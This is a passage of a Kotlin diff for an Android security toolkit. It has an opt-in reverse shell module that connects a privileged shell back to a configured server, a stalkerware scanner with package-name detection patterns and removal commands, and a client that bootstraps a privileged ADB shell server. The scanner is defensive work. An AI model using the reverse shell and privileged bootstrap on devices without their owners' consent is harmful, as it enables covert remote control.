.putBoolean(KEY_ENABLED, false)
|
||||||
|
.putBoolean(KEY_WARNING_ACCEPTED, false)
|
||||||
|
.remove(KEY_SESSION_TOKEN)
|
||||||
|
.apply()
|
||||||
|
|
||||||
|
Log.i(TAG, "Reverse shell DISABLED")
|
||||||
|
return ModuleResult(true, "Reverse shell disabled. All connections terminated.")
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun connect(context: Context): ModuleResult {
|
||||||
|
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||||
|
|
||||||
|
if (!prefs.getBoolean(KEY_ENABLED, false)) {
|
||||||
|
return ModuleResult(false, "Reverse shell is disabled. Enable it first.")
|
||||||
|
}
|
||||||
|
|
||||||
|
if (isShellRunning()) {
|
||||||
|
return ModuleResult(false, "Shell is already connected. Disconnect first.")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get server IP from main prefs
|
||||||
|
val serverIp = PrefsManager.getServerIp(context)
|
||||||
|
if (serverIp.isEmpty()) {
|
||||||
|
return ModuleResult(false, "No AUTARCH server IP configured. Set it in Settings.")
|
||||||
|
}
|
||||||
|
|
||||||
|
val port = prefs.getInt(KEY_PORT, DEFAULT_PORT)
|
||||||
|
val timeout = prefs.getInt(KEY_TIMEOUT, DEFAULT_TIMEOUT)
|
||||||
|
|
||||||
|
// Generate session token
|
||||||
|
val token = UUID.randomUUID().toString().replace("-", "").take(32)
|
||||||
|
prefs.edit().putString(KEY_SESSION_TOKEN, token).apply()
|
||||||
|
|
||||||
|
// Get APK path for app_process bootstrap
|
||||||
|
val apkPath = context.applicationInfo.sourceDir
|
||||||
|
if (apkPath.isNullOrEmpty()) {
|
||||||
|
return ModuleResult(false, "Could not determine APK path")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Build bootstrap command (no --nice-name — causes abort on GrapheneOS/some ROMs)
|
||||||
|
val bootstrapCmd = buildString {
|
||||||
|
append("TMPDIR=/data/local/tmp ")
|
||||||
|
append("CLASSPATH='$apkPath' ")
|
||||||
|
append("/system/bin/app_process /system/bin ")
|
||||||
|
append("com.darkhal.archon.server.ArchonShell ")
|
||||||
|
append("$serverIp $port $token $timeout")
|
||||||
|
}
|
||||||
|
|
||||||
|
val fullCmd = "nohup sh -c \"$bootstrapCmd\" >> /data/local/tmp/archon_shell.log 2>&1 & echo started"
|
||||||
|
|
||||||
|
Log.i(TAG, "Starting reverse shell to $serverIp:$port (timeout: ${timeout}m)")
|
||||||
|
|
||||||
|
// Execute via LocalAdbClient (same as ArchonServer bootstrap)
|
||||||
|
val result = if (LocalAdbClient.isConnected()) {
|
||||||
|
LocalAdbClient.execute(fullCmd)
|
||||||
|
} else {
|
||||||
|
return ModuleResult(false, "No ADB connection — pair via Wireless Debugging first")
|
||||||
|
}
|
||||||
|
|
||||||
|
if (result.exitCode != 0 && !result.stdout.contains("started")) {
|
||||||
|
return ModuleResult(false, "Failed to start shell: ${result.stderr}")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Wait briefly for connection to establish
|
||||||
|
Thread.sleep(2000)
|
||||||
|
|
||||||
|
return if (isShellRunning()) {
|
||||||
|
ModuleResult(true, "Connected to $serverIp:$port (timeout: ${timeout}m)")
|
||||||
|
} else {
|
||||||
|
ModuleResult(false, "Shell process started but may not have connected yet. Check server logs.")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun disconnect(context: Context): ModuleResult {
|
||||||
|
if (!isShellRunning()) {
|
||||||
|
return ModuleResult(true, "No active shell connection")
|
||||||
|
}
|
||||||
|
|
||||||
|
killShell()
|
||||||
|
context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||||
|
.edit().remove(KEY_SESSION_TOKEN).apply()
|
||||||
|
|
||||||
|
Thread.sleep(500)
|
||||||
|
return if (!isShellRunning()) {
|
||||||
|
ModuleResult(true, "Shell disconnected")
|
||||||
|
} else {
|
||||||
|
ModuleResult(false, "Shell process may still be running — try force-stopping the app")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun status(context: Context): ModuleResult {
|
||||||
|
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||||
|
val enabled = prefs.getBoolean(KEY_ENABLED, false)
|
||||||
|
val connected = isShellRunning()
|
||||||
|
val serverIp = PrefsManager.getServerIp(context)
|
||||||
|
val port = prefs.getInt(KEY_PORT, DEFAULT_PORT)
|
||||||
|
val timeout = prefs.getInt(KEY_TIMEOUT, DEFAULT_TIMEOUT)
|
||||||
|
|
||||||
|
val details = mutableListOf<String>()
|
||||||
|
details.add("Enabled: $enabled")
|
||||||
|
details.add("Connected: $connected")
|
||||||
|
details.add("Server: $serverIp:$port")
|
||||||
|
details.add("Timeout: ${timeout} minutes")
|
||||||
|
|
||||||
|
if (connected) {
|
||||||
|
// Try to read the log tail
|
||||||
|
val logTail = try {
|
||||||
|
val p = Runtime.getRuntime().exec(arrayOf("sh", "-c", "tail -5 /data/local/tmp/archon_shell.log 2>/dev/null"))
|
||||||
|
p.inputStream.bufferedReader().readText().trim()
|
||||||
|
} catch (e: Exception) { "" }
|
||||||
|
if (logTail.isNotEmpty()) {
|
||||||
|
details.add("--- Recent log ---")
|
||||||
|
details.add(logTail)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return ModuleResult(
|
||||||
|
success = true,
|
||||||
|
output = if (connected) "Connected to $serverIp:$port" else if (enabled) "Enabled — not connected" else "Disabled",
|
||||||
|
details = details
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Internal ────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
private fun isShellRunning(): Boolean {
|
||||||
|
return try {
|
||||||
|
val process = Runtime.getRuntime().exec(arrayOf("sh", "-c", "pgrep -f $SHELL_PROCESS_NAME"))
|
||||||
|
val output = process.inputStream.bufferedReader().readText().trim()
|
||||||
|
process.waitFor()
|
||||||
|
output.isNotEmpty()
|
||||||
|
} catch (e: Exception) {
|
||||||
|
false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun killShell() {
|
||||||
|
try {
|
||||||
|
Runtime.getRuntime().exec(arrayOf("sh", "-c", "pkill -f $SHELL_PROCESS_NAME"))
|
||||||
|
Log.i(TAG, "Killed reverse shell process")
|
||||||
|
} catch (e: Exception) {
|
||||||
|
Log.e(TAG, "Failed to kill shell", e)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,319 @@
|
|||||||
|
package com.darkhal.archon.module
|
||||||
|
|
||||||
|
import android.content.Context
|
||||||
|
import com.darkhal.archon.util.PrivilegeManager
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Protection Shield module — scans for and removes stalkerware/spyware.
|
||||||
|
* Ported from AUTARCH core/android_protect.py.
|
||||||
|
*
|
||||||
|
* All commands run through PrivilegeManager → ArchonServer (UID 2000).
|
||||||
|
*/
|
||||||
|
class ShieldModule : ArchonModule {
|
||||||
|
|
||||||
|
override val id = "shield"
|
||||||
|
override val name = "Protection Shield"
|
||||||
|
override val description = "Scan & remove stalkerware, spyware, and surveillance tools"
|
||||||
|
override val version = "1.0"
|
||||||
|
|
||||||
|
// Known stalkerware/spyware package patterns
|
||||||
|
private val stalkerwarePatterns = listOf(
|
||||||
|
"mspy", "flexispy", "cocospy", "spyzie", "hoverwatch", "eyezy",
|
||||||
|
"pctattoetool", "thewispy", "umobix", "xnspy", "cerberus",
|
||||||
|
"trackview", "spyera", "mobile.tracker", "spy.phone", "phone.monitor",
|
||||||
|
"gps.tracker.spy", "spyapp", "phonetracker", "stalkerware",
|
||||||
|
"keylogger", "screenrecorder.secret", "hidden.camera",
|
||||||
|
"com.android.providers.telephony.backup", // Fake system package
|
||||||
|
"com.system.service", "com.android.system.manager", // Common disguises
|
||||||
|
)
|
||||||
|
|
||||||
|
// Suspicious permissions that stalkerware typically uses
|
||||||
|
private val suspiciousPerms = listOf(
|
||||||
|
"android.permission.READ_CALL_LOG",
|
||||||
|
"android.permission.READ_SMS",
|
||||||
|
"android.permission.READ_CONTACTS",
|
||||||
|
"android.permission.RECORD_AUDIO",
|
||||||
|
"android.permission.CAMERA",
|
||||||
|
"android.permission.ACCESS_FINE_LOCATION",
|
||||||
|
"android.permission.READ_EXTERNAL_STORAGE",
|
||||||
|
"android.permission.BIND_ACCESSIBILITY_SERVICE",
|
||||||
|
"android.permission.BIND_DEVICE_ADMIN",
|
||||||
|
"android.permission.PACKAGE_USAGE_STATS",
|
||||||
|
"android.permission.SYSTEM_ALERT_WINDOW",
|
||||||
|
)
|
||||||
|
|
||||||
|
override fun getActions(): List<ModuleAction> = listOf(
|
||||||
|
ModuleAction("full_scan", "Full Scan", "Run all security scans"),
|
||||||
|
ModuleAction("scan_packages", "Scan Packages", "Check installed apps against stalkerware database"),
|
||||||
|
ModuleAction("scan_permissions", "Scan Permissions", "Find apps with suspicious permission combos"),
|
||||||
|
ModuleAction("scan_device_admins", "Scan Device Admins", "List active device administrators"),
|
||||||
|
ModuleAction("scan_accessibility", "Scan Accessibility", "Check enabled accessibility services"),
|
||||||
|
ModuleAction("scan_certificates", "Scan Certificates", "Check for user-installed CA certificates"),
|
||||||
|
ModuleAction("scan_network", "Scan Network", "Check proxy, DNS, VPN settings"),
|
||||||
|
ModuleAction("disable_app", "Disable App", "Disable a suspicious package (pm disable-user)"),
|
||||||
|
ModuleAction("uninstall_app", "Uninstall App", "Uninstall a suspicious package"),
|
||||||
|
ModuleAction("revoke_permissions", "Revoke Permissions", "Revoke dangerous permissions from a package"),
|
||||||
|
ModuleAction("remove_device_admin", "Remove Device Admin", "Remove an active device admin component"),
|
||||||
|
ModuleAction("clear_proxy", "Clear Proxy", "Remove HTTP proxy settings"),
|
||||||
|
ModuleAction("remove_certificate", "Remove Certificate", "Remove a user-installed CA certificate"),
|
||||||
|
)
|
||||||
|
|
||||||
|
override fun executeAction(actionId: String, context: Context): ModuleResult {
|
||||||
|
return when {
|
||||||
|
actionId == "full_scan" -> fullScan(context)
|
||||||
|
actionId == "scan_packages" -> scanPackages()
|
||||||
|
actionId == "scan_permissions" -> scanPermissions()
|
||||||
|
actionId == "scan_device_admins" -> scanDeviceAdmins()
|
||||||
|
actionId == "scan_accessibility" -> scanAccessibility()
|
||||||
|
actionId == "scan_certificates" -> scanCertificates()
|
||||||
|
actionId == "scan_network" -> scanNetwork()
|
||||||
|
actionId == "disable_app" -> ModuleResult(false, "Specify package: use disable_app:<package>")
|
||||||
|
actionId == "uninstall_app" -> ModuleResult(false, "Specify package: use uninstall_app:<package>")
|
||||||
|
actionId == "clear_proxy" -> clearProxy()
|
||||||
|
actionId.startsWith("disable_app:") -> disableApp(actionId.substringAfter(":"))
|
||||||
|
actionId.startsWith("uninstall_app:") -> uninstallApp(actionId.substringAfter(":"))
|
||||||
|
actionId.startsWith("revoke_permissions:") -> revokePermissions(actionId.substringAfter(":"))
|
||||||
|
actionId.startsWith("remove_device_admin:") -> removeDeviceAdmin(actionId.substringAfter(":"))
|
||||||
|
actionId.startsWith("remove_certificate:") -> removeCertificate(actionId.substringAfter(":"))
|
||||||
|
else -> ModuleResult(false, "Unknown action: $actionId")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun getStatus(context: Context): ModuleStatus {
|
||||||
|
return ModuleStatus(
|
||||||
|
active = PrivilegeManager.isReady(),
|
||||||
|
summary = if (PrivilegeManager.isReady()) "Ready to scan" else "Needs privilege setup"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Scan actions ────────────────────────────────────────────────
|
||||||
|
|
||||||
|
private fun fullScan(context: Context): ModuleResult {
|
||||||
|
val results = mutableListOf<String>()
|
||||||
|
var threats = 0
|
||||||
|
|
||||||
|
val scans = listOf(
|
||||||
|
"Packages" to ::scanPackages,
|
||||||
|
"Permissions" to ::scanPermissions,
|
||||||
|
"Device Admins" to ::scanDeviceAdmins,
|
||||||
|
"Accessibility" to ::scanAccessibility,
|
||||||
|
"Certificates" to ::scanCertificates,
|
||||||
|
"Network" to ::scanNetwork,
|
||||||
|
)
|
||||||
|
|
||||||
|
for ((name, scan) in scans) {
|
||||||
|
val result = scan()
|
||||||
|
results.add("=== $name ===")
|
||||||
|
results.add(result.output)
|
||||||
|
if (result.details.isNotEmpty()) {
|
||||||
|
threats += result.details.size
|
||||||
|
results.addAll(result.details)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return ModuleResult(
|
||||||
|
success = true,
|
||||||
|
output = if (threats > 0) "$threats potential threat(s) found" else "No threats detected",
|
||||||
|
details = results
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun scanPackages(): ModuleResult {
|
||||||
|
val result = PrivilegeManager.execute("pm list packages")
|
||||||
|
if (result.exitCode != 0) {
|
||||||
|
return ModuleResult(false, "Failed to list packages: ${result.stderr}")
|
||||||
|
}
|
||||||
|
|
||||||
|
val packages = result.stdout.lines()
|
||||||
|
.filter { it.startsWith("package:") }
|
||||||
|
.map { it.removePrefix("package:") }
|
||||||
|
|
||||||
|
val found = mutableListOf<String>()
|
||||||
|
for (pkg in packages) {
|
||||||
|
val lower = pkg.lowercase()
|
||||||
|
for (pattern in stalkerwarePatterns) {
|
||||||
|
if (lower.contains(pattern)) {
|
||||||
|
found.add("[!] $pkg (matches: $pattern)")
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return ModuleResult(
|
||||||
|
success = true,
|
||||||
|
output = "Scanned ${packages.size} packages, ${found.size} suspicious",
|
||||||
|
details = found
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun scanPermissions(): ModuleResult {
|
||||||
|
// Get packages with dangerous permissions
|
||||||
|
val result = PrivilegeManager.execute(
|
||||||
|
"pm list packages -f | head -500"
|
||||||
|
)
|
||||||
|
if (result.exitCode != 0) {
|
||||||
|
return ModuleResult(false, "Failed: ${result.stderr}")
|
||||||
|
}
|
||||||
|
|
||||||
|
val packages = result.stdout.lines()
|
||||||
|
.filter { it.startsWith("package:") }
|
||||||
|
.map { it.substringAfterLast("=") }
|
||||||
|
.take(200) // Limit for performance
|
||||||
|
|
||||||
|
val suspicious = mutableListOf<String>()
|
||||||
|
for (pkg in packages) {
|
||||||
|
val dump = PrivilegeManager.execute("dumpsys package $pkg 2>/dev/null | grep 'android.permission' | head -30")
|
||||||
|
if (dump.exitCode != 0) continue
|
||||||
|
|
||||||
|
val perms = dump.stdout.lines().map { it.trim() }
|
||||||
|
val dangerousCount = perms.count { line ->
|
||||||
|
suspiciousPerms.any { perm -> line.contains(perm) }
|
||||||
|
}
|
||||||
|
|
||||||
|
if (dangerousCount >= 5) {
|
||||||
|
suspicious.add("[!] $pkg has $dangerousCount suspicious permissions")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return ModuleResult(
|
||||||
|
success = true,
|
||||||
|
output = "Checked permissions on ${packages.size} packages, ${suspicious.size} suspicious",
|
||||||
|
details = suspicious
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun scanDeviceAdmins(): ModuleResult {
|
||||||
|
val result = PrivilegeManager.execute("dumpsys device_policy 2>/dev/null | grep -A 2 'Admin\\|DeviceAdminInfo'")
|
||||||
|
if (result.exitCode != 0 && result.stdout.isEmpty()) {
|
||||||
|
return ModuleResult(true, "No device admins found or could not query", emptyList())
|
||||||
|
}
|
||||||
|
|
||||||
|
val admins = result.stdout.lines().filter { it.isNotBlank() }
|
||||||
|
return ModuleResult(
|
||||||
|
success = true,
|
||||||
|
output = "${admins.size} device admin entries found",
|
||||||
|
details = admins.map { it.trim() }
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun scanAccessibility(): ModuleResult {
|
||||||
|
val result = PrivilegeManager.execute("settings get secure enabled_accessibility_services")
|
||||||
|
val services = result.stdout.trim()
|
||||||
|
|
||||||
|
return if (services.isNotEmpty() && services != "null") {
|
||||||
|
val list = services.split(":").filter { it.isNotBlank() }
|
||||||
|
ModuleResult(
|
||||||
|
success = true,
|
||||||
|
output = "${list.size} accessibility service(s) enabled",
|
||||||
|
details = list.map { "[!] $it" }
|
||||||
|
)
|
||||||
|
} else {
|
||||||
|
ModuleResult(true, "No accessibility services enabled", emptyList())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun scanCertificates(): ModuleResult {
|
||||||
|
val result = PrivilegeManager.execute("ls /data/misc/user/0/cacerts-added/ 2>/dev/null")
|
||||||
|
|
||||||
|
return if (result.exitCode == 0 && result.stdout.isNotBlank()) {
|
||||||
|
val certs = result.stdout.lines().filter { it.isNotBlank() }
|
||||||
|
ModuleResult(
|
||||||
|
success = true,
|
||||||
|
output = "${certs.size} user-installed CA certificate(s)",
|
||||||
|
details = certs.map { "[!] Certificate: $it" }
|
||||||
|
)
|
||||||
|
} else {
|
||||||
|
ModuleResult(true, "No user-installed CA certificates", emptyList())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun scanNetwork(): ModuleResult {
|
||||||
|
val findings = mutableListOf<String>()
|
||||||
|
|
||||||
|
// Check HTTP proxy
|
||||||
|
val proxy = PrivilegeManager.execute("settings get global http_proxy").stdout.trim()
|
||||||
|
if (proxy.isNotEmpty() && proxy != "null" && proxy != ":0") {
|
||||||
|
findings.add("[!] HTTP proxy set: $proxy")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check private DNS
|
||||||
|
val dnsMode = PrivilegeManager.execute("settings get global private_dns_mode").stdout.trim()
|
||||||
|
val dnsProvider = PrivilegeManager.execute("settings get global private_dns_specifier").stdout.trim()
|
||||||
|
if (dnsMode == "hostname" && dnsProvider.isNotEmpty() && dnsProvider != "null") {
|
||||||
|
findings.add("[i] Private DNS: $dnsProvider (mode: $dnsMode)")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check VPN always-on
|
||||||
|
val vpn = PrivilegeManager.execute("settings get secure always_on_vpn_app").stdout.trim()
|
||||||
|
if (vpn.isNotEmpty() && vpn != "null") {
|
||||||
|
findings.add("[!] Always-on VPN: $vpn")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check global proxy pac
|
||||||
|
val pac = PrivilegeManager.execute("settings get global global_http_proxy_pac").stdout.trim()
|
||||||
|
if (pac.isNotEmpty() && pac != "null") {
|
||||||
|
findings.add("[!] Proxy PAC configured: $pac")
|
||||||
|
}
|
||||||
|
|
||||||
|
return ModuleResult(
|
||||||
|
success = true,
|
||||||
|
output = if (findings.isEmpty()) "Network settings clean" else "${findings.size} network finding(s)",
|
||||||
|
details = findings
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Remediation actions ─────────────────────────────────────────
|
||||||
|
|
||||||
|
private fun disableApp(pkg: String): ModuleResult {
|
||||||
|
val result = PrivilegeManager.execute("pm disable-user --user 0 $pkg")
|
||||||
|
return ModuleResult(
|
||||||
|
success = result.exitCode == 0,
|
||||||
|
output = if (result.exitCode == 0) "Disabled: $pkg" else "Failed: ${result.stderr}"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun uninstallApp(pkg: String): ModuleResult {
|
||||||
|
val result = PrivilegeManager.execute("pm uninstall --user 0 $pkg")
|
||||||
|
return ModuleResult(
|
||||||
|
success = result.exitCode == 0,
|
||||||
|
output = if (result.exitCode == 0) "Uninstalled: $pkg" else "Failed: ${result.stderr}"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun revokePermissions(pkg: String): ModuleResult {
|
||||||
|
val revoked = mutableListOf<String>()
|
||||||
|
for (perm in suspiciousPerms) {
|
||||||
|
val result = PrivilegeManager.execute("pm revoke $pkg $perm 2>/dev/null")
|
||||||
|
if (result.exitCode == 0) revoked.add(perm)
|
||||||
|
}
|
||||||
|
return ModuleResult(
|
||||||
|
success = true,
|
||||||
|
output = "Revoked ${revoked.size}/${suspiciousPerms.size} permissions from $pkg",
|
||||||
|
details = revoked.map { "Revoked: $it" }
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun removeDeviceAdmin(component: String): ModuleResult {
|
||||||
|
val result = PrivilegeManager.execute("dpm remove-active-admin $component")
|
||||||
|
return ModuleResult(
|
||||||
|
success = result.exitCode == 0,
|
||||||
|
output = if (result.exitCode == 0) "Removed device admin: $component" else "Failed: ${result.stderr}"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun clearProxy(): ModuleResult {
|
||||||
|
val result = PrivilegeManager.execute("settings put global http_proxy :0")
|
||||||
|
return ModuleResult(
|
||||||
|
success = result.exitCode == 0,
|
||||||
|
output = if (result.exitCode == 0) "HTTP proxy cleared" else "Failed: ${result.stderr}"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun removeCertificate(hash: String): ModuleResult {
|
||||||
|
val result = PrivilegeManager.execute("rm /data/misc/user/0/cacerts-added/$hash")
|
||||||
|
return ModuleResult(
|
||||||
|
success = result.exitCode == 0,
|
||||||
|
output = if (result.exitCode == 0) "Certificate removed: $hash" else "Failed: ${result.stderr}"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,371 @@
|
|||||||
|
package com.darkhal.archon.server
|
||||||
|
|
||||||
|
import android.content.Context
|
||||||
|
import android.util.Log
|
||||||
|
import com.darkhal.archon.service.LocalAdbClient
|
||||||
|
import com.darkhal.archon.util.AuthManager
|
||||||
|
import com.darkhal.archon.util.PrefsManager
|
||||||
|
import com.darkhal.archon.util.ShellResult
|
||||||
|
import java.io.BufferedReader
|
||||||
|
import java.io.InputStreamReader
|
||||||
|
import java.io.OutputStreamWriter
|
||||||
|
import java.io.PrintWriter
|
||||||
|
import java.net.InetSocketAddress
|
||||||
|
import java.net.Socket
|
||||||
|
import java.util.UUID
|
||||||
|
import java.util.concurrent.atomic.AtomicBoolean
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Client for the Archon privileged server process.
|
||||||
|
*
|
||||||
|
* Handles:
|
||||||
|
* - Bootstrapping the server via ADB (app_process command)
|
||||||
|
* - TCP socket communication with JSON protocol
|
||||||
|
* - Token-based authentication
|
||||||
|
* - Server lifecycle management
|
||||||
|
*/
|
||||||
|
object ArchonClient {
|
||||||
|
|
||||||
|
private const val TAG = "ArchonClient"
|
||||||
|
private const val DEFAULT_PORT = 17321
|
||||||
|
private const val PREFS_NAME = "archon_server"
|
||||||
|
private const val KEY_TOKEN = "server_token"
|
||||||
|
private const val KEY_PORT = "server_port"
|
||||||
|
private const val CONNECT_TIMEOUT = 3000
|
||||||
|
private const val READ_TIMEOUT = 30000
|
||||||
|
|
||||||
|
private val serverRunning = AtomicBoolean(false)
|
||||||
|
private var serverPid: Int = -1
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Check if the Archon server is running and responding.
|
||||||
|
*/
|
||||||
|
fun isServerRunning(context: Context): Boolean {
|
||||||
|
val token = getToken(context) ?: return false
|
||||||
|
val port = getPort(context)
|
||||||
|
return try {
|
||||||
|
val result = sendCommand(token, port, "__ping__")
|
||||||
|
val alive = result.exitCode == 0 && result.stdout == "pong"
|
||||||
|
serverRunning.set(alive)
|
||||||
|
alive
|
||||||
|
} catch (e: Exception) {
|
||||||
|
serverRunning.set(false)
|
||||||
|
false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Get server info (UID, PID, uptime) if running.
|
||||||
|
*/
|
||||||
|
fun getServerInfo(context: Context): String? {
|
||||||
|
val token = getToken(context) ?: return null
|
||||||
|
val port = getPort(context)
|
||||||
|
return try {
|
||||||
|
val result = sendCommand(token, port, "__info__")
|
||||||
|
if (result.exitCode == 0) result.stdout else null
|
||||||
|
} catch (e: Exception) {
|
||||||
|
null
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Start the Archon server via ADB.
|
||||||
|
*
|
||||||
|
* Bootstrap flow:
|
||||||
|
* 1. Get APK path from context
|
||||||
|
* 2. Generate random auth token
|
||||||
|
* 3. Build app_process command
|
||||||
|
* 4. Execute via LocalAdbClient or AUTARCH server ADB
|
||||||
|
* 5. Wait for server to start
|
||||||
|
* 6. Verify connection
|
||||||
|
*/
|
||||||
|
/**
|
||||||
|
* Check if any ArchonServer is alive on the port (no auth needed).
|
||||||
|
*/
|
||||||
|
fun isServerAlive(): Boolean {
|
||||||
|
return try {
|
||||||
|
val result = sendCommand("", DEFAULT_PORT, "__alive__", 3)
|
||||||
|
result.exitCode == 0 && result.stdout == "alive"
|
||||||
|
} catch (e: Exception) {
|
||||||
|
false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fun startServer(context: Context): StartResult {
|
||||||
|
// Check if a server is already running (possibly started from web UI)
|
||||||
|
if (isServerAlive()) {
|
||||||
|
Log.i(TAG, "Server already alive on port $DEFAULT_PORT")
|
||||||
|
// If we also have a valid token, verify full auth
|
||||||
|
if (isServerRunning(context)) {
|
||||||
|
val info = getServerInfo(context) ?: "running"
|
||||||
|
return StartResult(true, "Server already running: $info")
|
||||||
|
}
|
||||||
|
// Server alive but we don't have the right token
|
||||||
|
return StartResult(false, "Server running but token mismatch — stop it first (web UI or: adb shell pkill -f ArchonServer)")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Generate new token for this session
|
||||||
|
val token = UUID.randomUUID().toString().replace("-", "").take(32)
|
||||||
|
val port = DEFAULT_PORT
|
||||||
|
|
||||||
|
// Save token and port
|
||||||
|
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||||
|
prefs.edit()
|
||||||
|
.putString(KEY_TOKEN, token)
|
||||||
|
.putInt(KEY_PORT, port)
|
||||||
|
.apply()
|
||||||
|
|
||||||
|
// Get APK path
|
||||||
|
val apkPath = context.applicationInfo.sourceDir
|
||||||
|
if (apkPath.isNullOrEmpty()) {
|
||||||
|
return StartResult(false, "Could not determine APK path")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Build the bootstrap command (modeled after Shizuku's ServiceStarter pattern)
|
||||||
|
// TMPDIR is needed so dalvik-cache can be created by shell user
|
||||||
|
val bootstrapCmd = buildString {
|
||||||
|
append("TMPDIR=/data/local/tmp ")
|
||||||
|
append("CLASSPATH='$apkPath' ")
|
||||||
|
append("/system/bin/app_process /system/bin ")
|
||||||
|
append("com.darkhal.archon.server.ArchonServer ")
|
||||||
|
append("$token $port")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Wrap in nohup + background so it survives ADB disconnect
|
||||||
|
val fullCmd = "nohup sh -c \"$bootstrapCmd\" > /data/local/tmp/archon_server.log 2>&1 & echo started"
|
||||||
|
|
||||||
|
Log.i(TAG, "Bootstrap command: $bootstrapCmd")
|
||||||
|
|
||||||
|
// Try to execute — LocalAdbClient first, then AUTARCH server USB ADB
|
||||||
|
val adbResult = if (LocalAdbClient.isConnected()) {
|
||||||
|
Log.i(TAG, "Starting server via LocalAdbClient")
|
||||||
|
val r = LocalAdbClient.execute(fullCmd)
|
||||||
|
Log.i(TAG, "LocalAdb result: exit=${r.exitCode} stdout=${r.stdout.take(200)} stderr=${r.stderr.take(200)}")
|
||||||
|
r
|
||||||
|
} else {
|
||||||
|
Log.i(TAG, "LocalAdb not connected, trying AUTARCH server USB ADB")
|
||||||
|
val httpResult = startServerViaHttp(context, apkPath, token, port)
|
||||||
|
if (httpResult != null) {
|
||||||
|
Log.i(TAG, "HTTP bootstrap result: exit=${httpResult.exitCode} stdout=${httpResult.stdout.take(200)} stderr=${httpResult.stderr.take(200)}")
|
||||||
|
httpResult
|
||||||
|
} else {
|
||||||
|
Log.e(TAG, "Both ADB methods failed — no connection available")
|
||||||
|
return StartResult(false, "No ADB connection — connect phone via USB to AUTARCH, or use Wireless Debugging")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (adbResult.exitCode != 0 && !adbResult.stdout.contains("started")) {
|
||||||
|
Log.e(TAG, "Bootstrap command failed: exit=${adbResult.exitCode} stdout=${adbResult.stdout} stderr=${adbResult.stderr}")
|
||||||
|
return StartResult(false, "ADB command failed (exit ${adbResult.exitCode}): ${adbResult.stderr.ifEmpty { adbResult.stdout }}")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Wait for server to come up
|
||||||
|
Log.i(TAG, "Waiting for server to start...")
|
||||||
|
for (i in 1..10) {
|
||||||
|
Thread.sleep(500)
|
||||||
|
if (isServerRunning(context)) {
|
||||||
|
val info = getServerInfo(context) ?: "running"
|
||||||
|
Log.i(TAG, "Server started: $info")
|
||||||
|
return StartResult(true, "Server running: $info")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return StartResult(false, "Server did not start within 5s — check /data/local/tmp/archon_server.log")
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Execute a shell command via the Archon server.
|
||||||
|
*/
|
||||||
|
fun execute(context: Context, command: String, timeoutSec: Int = 30): ShellResult {
|
||||||
|
val token = getToken(context)
|
||||||
|
?: return ShellResult("", "No server token — start server first", -1)
|
||||||
|
val port = getPort(context)
|
||||||
|
|
||||||
|
return try {
|
||||||
|
sendCommand(token, port, command, timeoutSec)
|
||||||
|
} catch (e: Exception) {
|
||||||
|
Log.e(TAG, "Execute failed", e)
|
||||||
|
serverRunning.set(false)
|
||||||
|
ShellResult("", "Server communication error: ${e.message}", -1)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Stop the Archon server.
|
||||||
|
*/
|
||||||
|
fun stopServer(context: Context): Boolean {
|
||||||
|
